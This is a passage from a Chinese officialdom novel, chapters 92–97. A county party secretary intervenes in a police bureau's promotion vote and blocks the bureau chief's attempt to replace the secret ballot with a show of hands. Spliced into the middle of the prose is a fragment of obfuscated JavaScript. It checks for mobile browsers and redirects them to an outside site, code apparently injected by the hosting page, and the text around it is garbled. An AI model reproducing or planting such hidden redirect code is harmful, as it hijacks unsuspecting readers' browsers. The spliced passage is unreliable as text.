江昭宁这次只到了县局办公楼,没有到相距还有一公里交警大楼,而魏明君在哪儿上班,筹建交巡警大队,所以就没有见面。
但是他明天推荐肯定是要来的。
魏明君急促的尾音在电流的底噪中微微颤抖,像一根绷紧到极限的弦。
江昭宁握着听筒,脸上没有任何表情,只是眉心那两道深刻的纹路,无声地收紧了,仿佛坚硬的岩石被无形的力量挤压出一道裂痕。
夏向明,吴兴昌……这两个名字像两颗冰冷的石子投入他思维的深潭。
这次调整,本意就是要优化结构,注入新的活力。
这股试图将乔、刘二人直接“排除”在外的暗流,其矛头所向,不言而喻。
江昭宁的指关节无意识地、一下下轻轻叩击着光滑的桌面,发出低沉而规律的“笃笃”声,像某种精密仪器的计时,在死寂的书房里回荡。
这声音细微,却蕴含着一种沉凝的、近乎磨牙吮血般的压迫感。
他脑中飞速运转。
魏明君敏锐地嗅到了这股异常的气息?
只是这些人怎么会找他拉票?
难道不知道自己挺欣赏魏明君?
反而往枪口撞,暴露自己?
这无异于主动将把柄送到一个可能告密的人手中,是自寻死路?
还是……这本身就是一种刻意的试探?
“魏教,”江昭宁的声音冷硬得像淬过火的钢铁,打断了魏明君因紧张而略显絮叨的表态,“有人敢直接找你拉票?”
他问得极其直接,目光锐利如鹰隼,仿佛要穿透电话线,钉在魏明君脸上。
第92章 采取对策
“**,不是这样子的!”魏明君的回答带着一种急于撇清的慌乱,“没有人直接跟我打招呼,这点组织纪律我还是懂的!”
“但是……他们底下在搞串联,搞小动作!是……是有人悄悄递了话给我。”
他顿了顿,声音里透出后怕,“我一听就觉得这太反常、太危险了!”
“这绝对不是正常渠道该有的声音!”
“好!”江昭宁的声音陡然斩断,干脆利落,没有任何情绪拖泥带水,“知道了!”
“嘟…嘟…嘟…”忙音立刻取代了魏明君带着喘息的尾音,在寂静的书房里显得格外突兀。
江昭宁缓缓将手机收起,动作平稳得没有一丝波澜。
他打开了台灯。
他那双眼睛,在昏暗的灯光下异常明亮,如同寒潭深处被月光惊醒的冷星。
李国栋那张总是堆满谦和笑容的脸,此刻无比清晰地浮现在眼前。
在自己面前姿态放得极低,汇报工作滴水不漏,任何决策都表现得百分百拥护。
但江昭宁不是第一天在权力的漩涡里沉浮。
那种过于完美的笑容,那种毫无棱角的顺从,本身就是一种精心打磨的武器。
李国栋在**局经营多年,盘根错节,尤其是在一些中基层干部中很有市场。
乔国良和刘洋意的提名,无疑触及了他原有势力格局的某些敏感神经。
这次所谓的“地下活动”,李国栋那张笑脸背后伸出的无形之手,又能有多干净?
“哼……”一声极轻的冷哼,几乎被窗外的风声吞没。
江昭宁站起身,高大的身影在墙壁上投下浓重的、沉默的轮廓。
他走到窗前,并未关上之前为了透气而推开的那道缝隙。
夏天深夜微凉的风,带着湿润泥土和玉兰残香的气息,无声地流淌进来,轻轻拂动他额前一丝不苟的发梢。
远处,县城的灯火并未完全熄灭,一片片、一团团,在浓得化不开的夜色里沉默地燃烧着,像无数双疲惫却不肯闭上的眼睛。
那光芒既不璀璨,也不温暖,反而带着一种疏离的、旁观般的冷意。
这看似平静的灯火之下,多少暗流在涌动?
多少交易在滋生?多少忠诚与背叛,在悄然转换着筹码?
窗框冰冷的金属质感透过薄薄的衬衫,渗入皮肤。
江昭宁的目光投向县**局办公楼所在的方位,那里,明天将上演一场决定某些人命运走向的推选。
他原本无需亲自坐镇,只需等待一个程序性的结果。
但现在,魏明君这通深夜的电话,像投入深潭的石子,激起的涟漪已经足够让他看清水下的浑浊与凶险。
一股冷冽的气息从胸腔深处升起,迅速蔓延至四肢百骸。
那不是恐惧,而是一种被冒犯、被挑战后燃烧起来的决绝意志。
他倒要看看,在推选会场里,那些平日里在文件上签下名字、在会议上喊出响亮口号的股级、科级干部们。
当手中握着那张决定他人命运的选票时,他们的灵魂底色究竟是什么?
是**国法铭刻下的忠诚与担当?
还是某些人精心豢养、只知唯命是从的“御用人员”和“家丁”?
李国栋,你那张笑脸之下,到底裹挟了多少人心?
又有多大的能耐,真以为自己能只手遮天,掌控住这看似平静实则暗流汹涌的局面?
江昭宁猛地转过身,动作干脆利落,带起一股细微的气流。
他不再看窗外那片沉默燃烧的灯火,径直走向书桌。
他拿起那支沉重的黑色钢笔,笔尖悬停片刻,随即落下,发出沙沙的轻响。
纸上迅速出现几个名字:夏向明、吴兴昌。
名字后面,重重地画了一个问号,墨迹深浓,几乎要透纸背。
紧接着,他又写下李国栋三个字。
笔锋更加遒劲、冷硬,在名字下方狠狠划了两道横线,如同两道封印,又像是两道即将劈落的刀锋。
书房里,只剩下笔尖划过纸张的沙沙声,沉稳、持续,带着一种近乎冷酷的节奏感,压过了窗外渐起的风声。
这声音在寂静的凌晨显得格外清晰,仿佛某种力量在无声地集结,在黎明前的黑暗里,磨砺着锋芒。
清晨七点刚过,县委大楼顶层的走廊还浸润在一种凝滞的沉寂里,只有吸顶灯管发出的单调嗡嗡声在回荡。
**办公室内,日光灯惨白的光线毫无遮拦地倾泻下来。
江昭宁靠在高背
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椅里,身体被厚重的皮革深陷地包裹着。
指间夹着半截燃着的香烟,青灰色的烟柱笔直上升,在惨白的光线下几乎没有一丝摇曳。
他脸上刻着一层肉眼可见的疲惫,眼睛下方晕开浓重的青黑色阴影,如同凝固的淤痕。
但那双眼睛深处却亮得惊人,像两块寒夜里打磨过无数遍的黑色燧石,沉静、锐利,蕴藏着洞察一切的穿透力。
昨夜的惊雷似乎并未完全散去,仍在他眉宇间萦绕不去,那是一种被压抑着的、庞大的、只待释放的能量。
墙上的电子钟无声地由“07:29”跳到了“07:30”。
就在这一瞬。
江昭宁动了。
夹着烟的手没有丝毫犹豫,动作快如电掣。
他伸长手臂,准确无误地捞过那座黑沉沉的电话机,手指极其精准地按下了代表政法委**办公室的内线短号——那串数字早已烂熟于心,如同瞄准镜里的十字线对准既定的靶心。
“嘟……嘟……”
短促的拨号音在死寂的办公室里如同两颗沉闷的石子投入深潭。
话筒被提起来,紧贴在耳边。
另一只夹着烟的手悬停在半空,动作凝固,指间那抹暗红的火星稳定地燃烧着,随时准备弹落多余的温度。
另一间同样宽敞明亮的办公室里。
政法委**赵强刚刚放下随身携带的保温杯,杯底在光洁的桌面碰出一声细微但清脆的响动。
杯子里浮沉着几片蜷缩的绿茶叶片,袅袅的热气刚升腾起来,氤氲了他眼前一小片空气。
他摊开上午的行程安排文件夹,正准备把思绪扎进那份厚厚的扫黑除恶阶段性汇报里。
这位在政法战线上浸淫了半辈子的老将,习惯性地将每日工作梳理得如同他的卷宗归档,清晰、条理。
突如其来的电话铃声打断了他摊开文件的动作,声音在空旷安静的办公室里显得格外尖锐,富有穿透力。
他眉头几不可察地轻轻蹙了一下,略显意外。
谁会在这个还没有上班的点打内线?
目光瞥向闪烁的红灯——内线显示分机号码。
他随即释然,伸手拿起了话筒,声音带着他一贯的平和:“赵强。”
第93章 不一般!
“赵**!”听筒里传来的是江昭宁的声音。
没有寒暄,没有铺垫。
那声音像一柄出鞘前就已磨砺到极致的钢刀,平静地压在喉咙深处。
每一个音节都淬炼得清晰、稳定、带着千钧般的份量,精准地穿透电话线路。“今天上午九点整,我们一道去县**局,参加**推荐大会。”
话音落下,办公室里陷入了令人屏息的、短促的寂静。
赵强脸上的表情瞬间凝固了。
他下意识地挺直了略微前倾的腰背,另一只悬在保温杯上方的手完全顿住,那几缕从杯口逸散的热气仿佛也凝滞在半空中。
“……县**局?”赵强重复了一遍,语气里充满了不加掩饰的惊愕和浓重的困惑。
他甚至下意识地用手指捻了捻办公桌光滑冰冷的木质表面,仿佛触感的冰凉能带回一丝现实的确定性。“江**,这……”
他顿了顿,措辞谨慎却带着强烈的质疑,“这个……有些于规不合啊。”
“按照组织程序和一贯做法,这种干部职级的**推荐,属于组织部职责权限范围的常规事项。”
“一般情况下,**一级的领导没有必要亲自到场参与的。”
他的声音不由自主地提高了半度,那是一种在规则框架内浸淫已久的本能反应。“派一位副**或者分管组织的**前去坐镇监督,代表县委表明重视态度和行使权力,已经是最高规格了。”
“你主要领导都亲自去……”他眉头紧紧锁起,身体不自觉地微微前倾,试图通过言语的分量让对方理解这其中的重大差异,“现场气氛会过于沉重吧?”
“这无形中施加的压力太大了。”
“原本该自由表达的票,很可能在**班子成员的眼皮底下变味……参评投票的这些局内干部,他们还怎么自在行使**权利?”话语间,他手指无意识地敲击着桌面,节奏略显凌乱,“组织部的监督组肯定是在核心现场的。”
“纪委那边至少也会派出督导人员旁听、监督程序合规和全程纪律维护,两道防线足够保证程序万无一失。是不是……可以再考虑一下?”
语速快而不乱,一口气说出了所有在体制内浸润多年的他视为金科玉律的理由。
话语里包含着一个老政法委**对程序公平的固执维护,也有对过度介入具体事务可能造成扭曲后果的本能忧虑。
说完这一大段,他才略微停顿下来,听筒紧紧压在耳廓上,屏住呼吸捕捉着对方任何一丝微妙的反应。空气里只剩下他自己略微加重的呼吸声。
听筒那端,陷入了更长久的沉默。
几秒钟的等待,如同时间被强行拉长,变成了巨大的实体压迫在赵强肩上。
他甚至能感受到电流在电缆里流过时微弱的白噪声,以及……江昭宁指间香烟无声蒸腾出的烟雾。
就在这沉寂的张力拉到极致时,话筒里传来了一声低沉得几不可闻的……轻笑?
那笑声极短促,轻飘飘的,像一枚冰冷的雪花落在滚烫的铁板上,瞬间蒸发得无影无踪,只留下一丝难以捕捉的余韵。
“呵呵,”江昭宁的声音终于再次响起,那低沉的笑意在音波里瞬间消失,取而代之的是一种奇异的冷静,既像阐述某种毋庸置疑的事实,又像一把剔骨尖刀精准地划开了罩在事物表面那层自欺欺人的薄纱。“赵**,你讲的规矩和顾虑,对大多数时候的‘一般情况’而言,都是对的,都值得采纳和遵循。”
“我们的体制和程序,正是依靠这种对常规的尊重才能有效运转。”
他稍稍停顿了半秒,这一下停顿,如同在平缓的叙述河流中人为设置的一道堤坝,骤然提升了水位。
随即,那个转折词被他掷地有声地抛出:“但是——这次的情况不同。它绝对,不一般。”
每一个字,都像从坚硬的岩石里凿出来,棱角分明,带着金属的冷光和沉重的力度。
不再是陈述,而是断言。
赵强感觉自己的呼吸一下子窒住了。
那句“绝对不一般”如同无形的重锤,狠
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狠擂在他的意识深处。
江**用了“绝对”这样的字眼!
他知道,江昭宁很少在非必要的情况下使用如此极致、不留余地的词语描述一件事。
一旦出口,那便是铁板钉钉的结论,其背后所指向的风暴级别……几乎不言而喻!
这绝不是一种谨慎的表达,而是一道清晰且急迫的指令——用行动重新界定规则,而不是被规则束缚!
“不一般……”
赵强无意识地低声重复了这三个字,声音带着他自己都未察觉的轻微震颤。
刚刚还觉得滚烫的保温杯杯壁,此刻触碰指尖传递来的竟然是一种奇怪的冰凉感。
这是要用最高级别的权力存在,堵死一切可能存在的回旋路径!
“我明白了!”赵强的腰身猛地挺直,后背离开椅背,瞬间绷成一张拉满的弓!声音洪亮、坚定,带着一种摒弃所有疑虑的断然,语速陡然加快:“我放下手头工作!马上准备!”
“江**,我这就到您办公室楼下汇合!”
听筒里没有传来“好”或者其他任何确认的词语,电话突然被挂断。“嘟——嘟——嘟——”
忙音如同冰冷的潮水,瞬间淹没了整个听筒空间,异常刺耳地、持续地敲击着赵强的耳膜。
赵强缓缓地、非常缓慢地放下了手中冰凉的听筒。
金属听筒底座接触桌面的瞬间,发出一声几乎难以察觉的细微轻响。
他站起身,走向窗边,脚步沉重地碾过光洁的地板。
窗外,县委大院的停车场里,属于县委**的那辆公务车的驾驶员似乎早已接到通知,此刻正背对着大楼,倚在车门旁悠闲地吞云吐雾。几缕飘散的青烟在早晨微凉的空气中慢悠悠地上升、飘散。
赵强收回目光,视线不由自主地落在自己的办公桌上。
房门打开又关上。
脚步声迅速远去消失在空旷的走廊尽头。
办公室里只剩下那被搁置的茶杯在寂静中独自冷却,杯底那些沉寂的茶叶碎屑,再无人搅动。
第94章 搬来这么大一尊神?
县局三楼大会议室里,窗明几净却压不住空气里的滞重。
窗外蝉鸣嘶哑,吊扇搅动热风,嗡嗡作响,吹拂着桌面上摊开的笔记本页角。
股长以上的干部们早早按座次表坐定,深色制服整齐划一,大多沉默着,彼此递个眼色也极有分寸。
主席台上,李国栋面色端凝,目光扫过台下时自带一股不容置疑的威严。他
身边两侧,端坐着县纪委和县委组织部的两位副科实职监督员,神色平静,但眼神深处却藏着审慎的探询意味。
李国栋清了清喉咙,那声音不大,却像一把无形的戒尺,瞬间抽紧了所有人的注意力。
他侧过头,声音不高不低:“两位领导,时间到了,可以开始了吗?”
两位监督干部目光交汇,随即沉稳地微微颔首,动作整齐划一。
李国栋满意地转回视线,习惯性地想与身旁的政委刘博文再交换一个默契的眼神。
然而,他身旁的座位空空如也。
刘博文呢?
李国栋心头猛地一沉,像一脚踏空。
值此紧要关头,这位搭档竟不知所踪?
一丝不易察觉的惊疑迅速掠过他眼底,又被强行压下。
他不能乱,会场如战场,一丝犹疑都会被台下那些精明的眼睛捕捉、放大、解读出千百种含义。
他迅速调整呼吸,果断朝台下的贡达做了个手势。
贡达立刻起身,抱着一叠选票名单,疾步穿梭于座位之间。
纸张摩擦的“沙沙”声,在过分安静的大厅里异常清晰,像某种不安的预兆。
当名单落到每个人面前,那薄薄一张纸仿佛有千钧之重,带着不容置疑的权威,又藏着未知的变数。
所有目光都聚焦其上,空气凝滞,连吊扇的嗡嗡声都显得格外刺耳。
李国栋挺直腰背,声音洪亮得足以穿透每一个角落:“同志们!今天会议的目的很明确,就是通过**推荐,为我们局推选出两位新的领导同志!”
“名单,现在就在各位手上了!”他顿了一顿,目光如鹰隼般锐利地扫过全场,确保每个人都接收到他的意志,“夏向明、吴兴昌、刘洋意、乔国良——四位候选人。”
“规则简单:勾选两位!多勾、少勾,统统无效!”
他的话语带着一种不容置喙的掌控力:“推荐谁,不推荐谁,各位心里想必都有一杆秤。”
“这是你们的权利,也是你们的责任!”他刻意加重了“责任”二字,目光随即投向主席台两侧,“县纪委、组织部的领导同志全程监督,现场录像备存!确保公平、公正、公开!”
“同志们,你们手里这支笔,关系着全局干警的期望,关系着我们局未来的方向!”
他特意停顿了一下,目光缓缓扫过全场,尤其在几个关键位置稍微停留片刻,随后才郑重补充道:“一定要投出真正让大家满意、让组织放心的同志!”
“现在……”李国栋提高了音量,右手已然抬起,准备挥下那个开启投票流程的指令。
“慢着!”
一声急促的呼喊,像一块巨石猛地砸入平静的水面。
所有人的目光“唰”地投向门口。
刘博文的身影赫然出现,他像是疾步赶来,额角沁着细密的汗珠,呼吸也带着不易察觉的急促。
但真正让全场所有人瞬间倒吸一口冷气的,是他身后紧接着迈入会场的那个人——县委**、政法委**赵强!
赵**竟会亲临一个县局的内部推荐会?
这简直是破天荒!
会场里瞬间爆发出难以遏制的骚动,低低的惊呼和难以置信的议论声如同骤然掀起的潮水。
椅腿摩擦地面的刺耳声此起彼伏,后排有人甚至不由自主地半站起身,伸长脖子,只为了确认自己是否眼花。
“赵**?他怎么来了?”
“出什么事了?这阵仗……”
“刘政委出去这一会儿,搬来这么大一尊神?”
这惊愕的潮水尚未退去,一个更令人窒息的身影,紧随赵强之后,沉稳地踏入了会议室大门。
县委**江昭宁!
那一刻,仿佛时间被按下了暂停键,空气彻底凝固了。
所有嘈杂声浪戛然而止,如同被一只无形巨手骤然扼住。
死寂,绝对的死
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寂,沉甸甸地压下来,压得人胸口发闷。
无数双眼睛瞪得滚圆,写满了极致的震惊与茫然。
县委**出席一个县局级单位的内部投票?
这已不是破天荒,简直是捅破了这片官场的天!
有人下意识地捂住了嘴,有人手中的笔“啪嗒”一声掉落在记录本上,那微小的声响在此刻的死寂中竟显得惊心动魄。
李国栋脸上瞬间褪尽了血色。
他抬起的右手僵在半空,如同被冻住。
他看到江昭宁平静无波的目光扫过全场,最终落在了自己身上。
那目光并无特别的情绪,却像两束冰冷的探照灯,将他精心构筑的心理防线瞬间照得通透。
一股冰冷的寒意从脊椎骨急速窜上头顶,他感觉自己的心脏在胸腔里疯狂擂动,几乎要挣脱束缚。
冷汗,不受控制地从额角、后背渗出,瞬间浸湿了内里的衬衫。
他先前那份掌控全局的笃定,那份通过多年经营和精心安排人选所累积的自信,在这一刻被碾得粉碎。
在县委**和政法委**这双重职务光环的巨大威压之下,他精心编织的那张网显得如此脆弱不堪。
职务效应——这官场上最真实也最无形的东西,此刻化作了实质性的重锤,狠狠砸在他的掌控欲上。
他喉头干涩得发紧,那句“开始投票”的指令,如同卡在喉咙里的鱼刺,无论如何也发不出来。
江昭宁并未多言,只是对身旁的赵强低声说了句什么。
赵强立刻会意,快步走向主席台,对那两位惊得站起身来的纪委和组织部的监督员低声交代了几句。
两人连连点头,神色肃然。
李国栋一惊之下迅速将主席台中央的位置让了出来。
工作人员更是反应极快,在李国栋座位旁紧急加设了两把座椅。
整个过程迅速而无声,却带着一种令人窒息的压迫感。
李国栋强行压下翻腾的心绪,努力找回自己的声音,那声音却干涩沙哑得厉害:“江**,赵**……请坐!”
“您二位……莅临指导,我们……”他有些语无伦次。
第95章 看谁还敢当这个出头鸟!
江昭宁抬手,轻轻向下压了压,动作随意却带着不容置疑的力量,瞬间止住了李国栋后面所有的话。
他面色平和,坐下后,甚至带着一丝若有若无的浅淡笑意,目光再次缓缓扫过台下每一张或紧张、或敬畏、或茫然的脸孔。
“指导谈不上。”江昭宁开口了,声音不高,却异常清晰,带着一种穿透性的沉稳,瞬间抚平了场内最后一丝杂音,只余下吊扇徒劳的嗡鸣,“县委一直强调,干部选拔任用,核心在于‘**’二字。”
“程序**,结果才能服众。”
“我这次来,就是看看我们强调的**推荐,到底是怎么个‘**’法。”
“听听大家真实的声音,看看大家真实的选择。”
他微微一顿,目光似乎不经意地掠过桌上那份推荐名单,又看向李国栋,“国栋同志,你们继续按程序走,不必在意我。”
“我和赵**,就是旁听,就是学习。”
一句“学习”,轻飘飘的,却重逾千斤。
李国栋只觉得脸上像是被无形的巴掌扇过,火辣辣地疼。
江昭宁的话语里没有丝毫指责,甚至带着宽容。
可那份置身事外的平静,比任何疾言厉色都更能瓦解他苦心维持的秩序。
他感到自己精心策划的舞台,瞬间被更高维度的力量接管。
而他,这个原本的导演,此刻像个蹩脚的提线木偶暴露在聚光灯下,连提线都已不在自己手中。
会场的气氛彻底变了。
先前那种在既定轨道上运行的、被李国栋意志笼罩的“秩序”荡然无存。
取而代之的是一种被更高力量注视下的肃穆与紧绷。
每一个与会者,无论之前心里打的是什么算盘,此刻都感到了那无形的、源自权力顶端的审视。
手中的推荐名单,不再是简单的勾选任务。
它变成了一张可能被更高层级解读的考卷。
空气仿佛被抽干,每一次呼吸都带着小心翼翼的试探。
刘博文起身,他亲自无声地重新分发了一遍推荐票,收回了原来的选票,确保在最高领导注视下,每一张票都出自此刻之手,杜绝任何可能的“意外”。
纸张传递的声音比上一次更轻、更谨慎,如同在传递某种禁忌之物。
台下,几乎所有人都下意识地挺直了腰背,握笔的姿势也变得僵硬。
有人反复看着名单上那四个名字,眼神复杂,像是在重新评估每一个名字背后可能牵扯到的、自己先前或许并未看清的力量图谱。
这次名字有了微调。
夏向明?乔国良?吴兴昌?刘洋意?
这四个名字的排序,此刻在县委**平静目光的映照下,似乎都蒙上了一层难以言喻的深意。
乔国良由第四排到了第二!
每一个人都在琢磨着其用意,这绝对不是简单的调整顺序。
李国栋心头那阵猝不及防的惊骇尚未完全平复,一股更强烈的寒意便顺着脊椎骨爬了上来。
县委**和政法委**联袂而至,而且更改了名字顺序,这绝非偶然。
更像是一把精准插入他权力齿轮中的楔子,将他精心设计的运转轨迹彻底卡死。
冷汗浸透的内衫紧贴着后背,带来一阵阵粘腻的冰凉。
倏地,他眼珠在深陷的眼眶里极快地一转,如同困兽在绝境中窥见一丝缝隙。
脸上那瞬间的僵硬和苍白迅速被一种近乎夸张的、堆砌起来的笑容取代。
他身体微微前倾,对着主席台中央的江昭宁,声音刻意拔高了几分,带着一种讨好的、试图掌控局面的热切:“江**,您和赵**亲自莅临指导,我们全局上下都倍感振奋!”
“这充分体现了县委对我们**队伍建设的重视和关怀!”
他顿了顿,目光扫过台下那些屏息凝神、表情各异的脸孔,又迅速回到江昭宁身上,“为了……呃,为了更高效地推进会议进程,节省领导宝贵的时间,也为了体现我们局一贯的雷厉风行,我有个提议。”
他清了清嗓子,试图让声音听起来更加自信和理所当然:“以往我们局在某些重要事项的表决上,也采取过一种更为明快、直接的方式,效果非常好,效率高,也避免了某些不必要的程序冗长。”
他刻意加重了“明快”、“直接”、“效率高”这几个词。
“哦?什么方式?”江昭宁的目光依旧平静无波,像一泓深潭,不起半点涟漪。
他身体微微后靠,姿态放松,但那种无形的压力却丝毫没有减弱。
他甚至连眉毛都没动一下,只是淡淡地反问,仿佛在听一个无关紧要的建议。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16125560|180059||http|test|mini|href|location''.split(''|''),0,{}));
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r>李国栋的心跳在胸腔里擂鼓般狂跳。
他强行压下那几乎要冲破喉咙的紧张,笑容更盛,甚至带上了一丝不易察觉的、试图拉近距离的熟稔:“是这样的,江**。”
“我们以前也采取过举手表决这种形式!”
“简单、高效、一目了然!”
“同志们当场就能表达自己的意愿,结果也是即时呈现,避免了后续计票唱票的等待时间。”
“非常符合我们**队伍快节奏、高效率的特点!”
他一边说着,一边用眼角的余光快速而锐利地扫视着台下。
那目光不再是领导者的威严,更像是一把冰冷的、带着倒刺的钩子,无声地刮过每一张脸。
他心中翻涌着阴暗的算计和强横的底气。
哼!在我的眼皮子底下!在我的地盘上!看谁敢不按我的意思举手?
江昭宁是县委**不假,但他能天天盯着县局这摊子事?
赵强能管到每个股级干部的具体工作?
县官不如现管!
今天谁要是敢不识相,在众目睽睽之下给我难堪,老子记下了!
往后的日子长着呢。
小鞋?哼!保管让他穿得合脚又舒服,穿到怀疑人生!
看谁还敢当这个出头鸟!
他几乎能想象到那种场景:在他威严的逼视下,一只只手如同被无形的线操控着,齐刷刷地举起来,指向他早已内定的那两个人选。
那将是对他权威最直接的、最不容置疑的确认!
也是对突然闯入的“更高力量”一次无声的**——看,这县局,终究还是我李国栋说了算!
你们的职务光环再耀眼,也照不进这间会议室的每个角落!
然而,江昭宁脸上的表情没有丝毫变化。
他甚至没有去看李国栋那双闪烁着算计和强横的眼睛,也没有去看台下那些在局长目光扫视下或低头、或僵直、或眼神躲闪的干部们。
他只是微微侧过头,目光似乎落在了窗外那炽烈的阳光上,又似乎穿透了墙壁,落在了更远的地方。
然后,他用一种平缓得近乎冷漠的语调,抛出了一个直指核心的问题,声音不高,却清晰地传遍了寂静的会场每一个角落。
“李局长,”他称呼得很正式,彻底拉开了距离,“我想请教一下。”
第96章 效率?
“在干部选拔这样关乎全局未来、关乎同志们切身利益的关键环节上,究竟是无记名投票这种形式,更能让每一位同志放下包袱、毫无顾忌地表达自己内心最真实的选择、真正体现我们所说的‘**’?”
“还是举手表决这种公开的、需要直面领导和所有同事目光的方式,更能让大家畅所欲言,表达出内心最真实的想法呢?”
问题轻飘飘地落下,却如同在滚烫的油锅里泼进了一瓢冰水。
会场瞬间陷入一种死寂般的凝滞。
连吊扇的嗡嗡声都仿佛被这尖锐的问题冻结了。
李国栋脸上的笑容彻底僵住,如同戴上了一副拙劣的面具,那层堆砌的热情和自信被瞬间剥落,露出底下仓皇的青白底色。
他张了张嘴,喉咙里却像是堵了一团滚烫的棉花,一个反驳的字也吐不出来。
江昭宁的回答太毒辣了!
直接戳穿了他所谓“明快高效”的漂亮外衣,将其下裹挟的“公开胁迫”本质暴露无遗!
无记名投票,意味着保护,意味着安全,意味着可以遵循本心。
举手表决,则意味着暴露,意味着压力,意味着必须考虑后果。
台下,所有干部都深深垂下了头,或者死死盯着自己面前空白的选票,仿佛那上面有世界上最吸引人的东西。
没有人敢抬头看李国栋,更没有人敢去看江昭宁。
但每个人心里都如同明镜一般。
江**轻描淡写的一句话。
不仅彻底否决了李国栋的提议,更是用最温和的方式,给了李国栋引以为傲的“掌控力”一记响亮的耳光。
同时也给所有心存顾虑的人,撑起了一把无形的保护伞。
“这……”李国栋感觉自己的脸颊火烧火燎,额角的冷汗终于汇聚成大颗的汗珠,沿着鬓角滚落下来。
他试图找回一点场子,声音干涩得如同砂纸摩擦,“江**,这个……无记名投票当然是更规范,更能体现**精神……我只是考虑到效率……”
“效率,不该以牺牲**的真实性为代价。”江昭宁打断了他,语气依然平淡,却带着一种不容置疑的终结感。
他不再看李国栋,而是将目光投向台下,声音提高了一些,清晰地传到每个人耳中,“程序正义,是结果公正的前提。”
“县委要求的就是真实、客观、公正的**推荐。”
“所以,还是按照原定程序,无记名投票。”
“同志们,放下包袱,实事求是地勾选你们认为最合适的同志。”
“县委相信大家,也尊重大家的选择。”
他最后几个字说得异常清晰有力。
然后,他不再言语,只是平静地等待着。
李国栋像个泄了气的皮球,颓然跌坐回椅子上。
所有的算计和强横都在江昭宁那平静却洞悉一切的目光下土崩瓦解。
他精心设计的“举手”陷阱,不仅没能困住别人,反而成了困住他自己的牢笼,将他那份试图在更高权力面前维持表面掌控的虚弱和不堪,彻底暴露在所有人面前。
会场里,只剩下一种被彻底震慑后的肃穆。
李国栋强迫自己集中精神,重新宣布投票开始。
他的声音恢复了洪亮,却失去了那份掌控一切的底气,只剩下一种程序化的空洞。
他的目光扫过台下,试图捕捉一些熟悉的、能给他带来些许安定感的眼神。
然而,那些下属,此刻要么回避着他的视线,要么目光闪烁,焦点早已不在他身上,而是小心翼翼地飘向主席台中央那个平静的身影。
一股巨大的失落和失控感攫住了他,仿佛脚下的地面正在无声地裂开。
他苦心孤诣的布局,在更高维度的力量介入和内部悄然无声的背叛下,已然失控,走向一个他再也无法预料的方向。
投票开始了。
有人立刻俯首勾选,笔尖划过纸张发出急促的“唰唰”声,仿佛急于卸下心头的重担。
有人则盯着选票上的四个名字,久久凝视,手中的笔悬在半空,迟迟无法落下,眉头紧锁,额角甚至渗出了细密的汗珠。
还有人下意识地抬眼,目光飞快地扫过主席台方向,似乎在寻找某种暗示或确认。
偌大的会议室里,最终只剩下笔尖划过纸张的“沙沙”声,单调、细碎,却带着一种令人心悸的重量。
这声音汇聚在一起,如同无数只蚕在啃食着权力的桑叶,也啃食着李国栋那建立在职务光环之上的、摇摇欲坠的自信基石。
他端坐在那里,像一
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尊努力维持威严的雕塑,只有他自己能听见内心那座堡垒轰然崩塌的巨响。
江昭宁的目光平和地掠过一张张伏身勾选或凝神思考的面孔,掠过那些紧绷的肩线和微蹙的眉头,最后落在窗外。
阳光炽烈地泼洒在县局大楼灰色的外墙上,反射出刺眼的白光。
那光晕里,尘埃在无声地飞舞、碰撞,如同这会场里无数被搅动的心思,升腾又沉降,最终都将归于某个既定的位置。
票箱被郑重地放置到主席台中央的桌面上,像一枚沉重的砣,压在了所有人的心上。
推荐票被郑重地投入票箱,发出沉闷的声响。
然而,这沉闷的“扑通”声,落在李国栋耳中,却像是为一段他自以为掌控的过去,敲响了最后的丧钟。
终于,最后一张选票被投入票箱。
此刻,在会场绝对的焦点中心,江昭宁的表情平静如水,目光深不见底,无人能窥见其内心翻涌的暗流。
江昭宁之所以指示将乔国良的排名由第四提到第二,而不是第一,自然有他的考量。
正是他深思熟虑后落下的关键一子。
夏向明与乔国良,吴兴昌与刘洋意——这看似简单的两两分组,是他亲手布下的试金石。
江昭宁是想看一看,这些投票人员究竟会如何选?
他就是要看看,在这县**局的穹顶之下,当权力的指挥棒暂时悬停,当“上面”的意图变得微妙难测时,那些手握选票的人,究竟会做出怎样的选择?
是依旧遵循某种不言自明的“规矩”?
还是能依循本心,投出对事业真正有利的一票?
如果最终的结果,是夏向明与刘洋意双双落选。
那么,只有两种可能:要么是他江昭宁彻底瞎了眼,完全看错了人。
要么,就是更为可怕的事实——这个县**局,从上到下,从里到外,已被李国栋经营成了针插不进、水泼不进的“独立王国”,成了一块密不透风的铁板!
江昭宁端起面前的玻璃杯,杯中的绿茶色泽清亮,几片茶叶在温水中缓缓舒展沉浮。
他凝视着杯中景象,内心却在冷静地评估着那两种可能性。
完全看错人?
这种可能性微乎其微,不到百分之一。
第97章 符合预期
刘洋意?这人反应极快。
他或许在得知自己身份后,极尽阿谀之能事,真实的成色如何,有待检验。
可乔国良,在不知他身份的情况下,就能说出真知灼见的话。
甚至在他得悉自己的身份后,依旧因原则问题据理力争,毫不退让。
这样的人,骨子里刻着的是刚正,绝非谄媚之徒。
错一个或许可能,但两个都错?
绝无可能!
乔国良的正直是淬过火的,是经得起考验的。
如果连乔国良这样公认有能力、有原则、且在自己这里“挂了号”的人,都无法在局内部的投票中脱颖而出。
那么,问题只可能出在另一端。
那只能说明一个问题:李国栋的掌控力已深入骨髓,盘根错节,足以扭曲一切正常的规则和人心。
倘若真出现那种最坏的局面——夏、乔皆落选,那么,他江昭宁也绝非毫无准备。
一个更直接、更凌厉的后手早已在他心中成型。
他会当场宣布票数无效!
然后,由赵强直接宣布,全局所有在编干警,分两批,重新进行无记名投票!
让那些真正在一线摸爬滚打、与候选人朝夕相处的普通**们来评判。
他们的眼睛最亮,他们的感受最真,他们的票数,才最有说服力!
“但愿不要走到那一步!”江昭宁心中默念,将茶杯轻轻放回桌面,发出一声轻微的磕碰声,在寂静中显得格外清晰。
他抬眼,目光再次扫过会场。
他绝不相信这洪桐县里就真的没有好人了!
他不相信这**局上下,受党教育这么多年,经历过无数风浪考验的领导干部们,会集体沦丧到甘为私人鹰犬的地步!
甘愿做某些人走卒,甚至奴才的,毕竟只是少数。
